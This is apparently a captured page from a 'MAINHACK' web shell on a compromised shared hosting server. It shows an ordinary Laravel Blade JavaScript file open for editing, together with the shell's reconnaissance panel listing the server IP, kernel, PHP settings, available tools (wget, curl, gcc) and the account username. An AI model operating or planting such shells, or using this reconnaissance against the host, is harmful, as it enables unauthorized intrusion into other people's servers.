[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: taxonomies_js.blade.php
<script type="text/javascript"> $(document).ready( function() { function getTaxonomiesIndexPage () { var data = {category_type : $('#category_type').val()}; $.ajax({ method: "GET", dataType: "html", url: '/taxonomies-ajax-index-page', data: data, async: false, success: function(result){ $('.taxonomy_body').html(result); } }); } function initializeTaxonomyDataTable() { //Category table if ($('#category_table').length) { var category_type = $('#category_type').val(); category_table = $('#category_table').DataTable({ processing: true, serverSide: true, fixedHeader:false, ajax: '/taxonomies?type=' + category_type, columns: [ { data: 'name', name: 'name', orderable: false, searchable: false }, @if($cat_code_enabled) { data: 'short_code', name: 'short_code', orderable: false, searchable: false }, @endif { data: 'description', name: 'description', orderable: false, searchable: false }, { data: 'action', name: 'action', orderable: false, searchable: false}, ], }); } } @if(empty(request()->get('type'))) getTaxonomiesIndexPage(); @endif initializeTaxonomyDataTable(); }); $(document).on('submit', 'form#category_add_form', function(e) { e.preventDefault(); var form = $(this); var data = form.serialize(); $.ajax({ method: 'POST', url: $(this).attr('action'), dataType: 'json', data: data, beforeSend: function(xhr) { __disable_submit_button(form.find('button[type="submit"]')); }, success: function(result) { if (result.success === true) { $('div.category_modal').modal('hide'); toastr.success(result.msg); if(typeof category_table !== 'undefined') { category_table.ajax.reload(); } var evt = new CustomEvent("categoryAdded", {detail: result.data}); window.dispatchEvent(evt); //event can be listened as //window.addEventListener("categoryAdded", function(evt) {} } else { toastr.error(result.msg); } }, }); }); $(document).on('click', 'button.edit_category_button', function() { $('div.category_modal').load($(this).data('href'), function() { $(this).modal('show'); $('form#category_edit_form').submit(function(e) { e.preventDefault(); var form = $(this); var data = form.serialize(); $.ajax({ method: 'POST', url: $(this).attr('action'), dataType: 'json', data: data, beforeSend: function(xhr) { __disable_submit_button(form.find('button[type="submit"]')); }, success: function(result) { if (result.success === true) { $('div.category_modal').modal('hide'); toastr.success(result.msg); category_table.ajax.reload(); } else { toastr.error(result.msg); } }, }); }); }); }); $(document).on('click', 'button.delete_category_button', function() { swal({ title: LANG.sure, icon: 'warning', buttons: true, dangerMode: true, }).then(willDelete => { if (willDelete) { var href = $(this).data('href'); var data = $(this).serialize(); $.ajax({ method: 'DELETE', url: href, dataType: 'json', data: data, success: function(result) { if (result.success === true) { toastr.success(result.msg); category_table.ajax.reload(); } else { toastr.error(result.msg); } }, }); } }); }); </script>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285